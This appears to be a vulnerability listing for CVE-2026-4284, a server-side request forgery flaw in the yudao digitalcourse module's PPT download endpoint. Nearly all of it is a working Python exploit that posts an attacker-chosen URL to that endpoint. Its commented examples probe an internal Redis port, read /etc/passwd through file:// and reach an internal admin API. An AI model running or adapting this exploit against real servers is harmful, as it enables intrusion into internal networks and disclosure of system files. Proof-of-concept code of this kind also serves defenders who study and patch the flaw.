CVE-2026-4284 yudao-module-digitalcourse PPTUtil downloadFile SSRF漏洞

import requests # CVE-2026-4284 SSRF PoC # Target: yudao-module-digitalcourse PPTUtil downloadFile # Note: Requires high privilege access def exploit_ssrf(target_url, attacker_controlled_url): """ Exploit SSRF vulnerability in PPTUtil.downloadFile Args: target_url: Base URL of vulnerable yudao service attacker_controlled_url: URL to be requested by server (internal IP, file://, etc.) """ endpoint = f"{target_url}/digitalcourse/ppt/downloadFile" payload = { "url": attacker_controlled_url } try: response = requests.post(endpoint, data=payload, timeout=10) return { "status_code": response.status_code, "response": response.text[:500] } except requests.RequestException as e: return {"error": str(e)} # Example usage: # Scan internal port (SSRF to internal service) # result = exploit_ssrf("http://target.com", "http://127.0.0.1:6379/") # Read local file # result = exploit_ssrf("http://target.com", "file:///etc/passwd") # Probe internal API # result = exploit_ssrf("http://target.com", "http://10.0.0.1:8080/admin/api")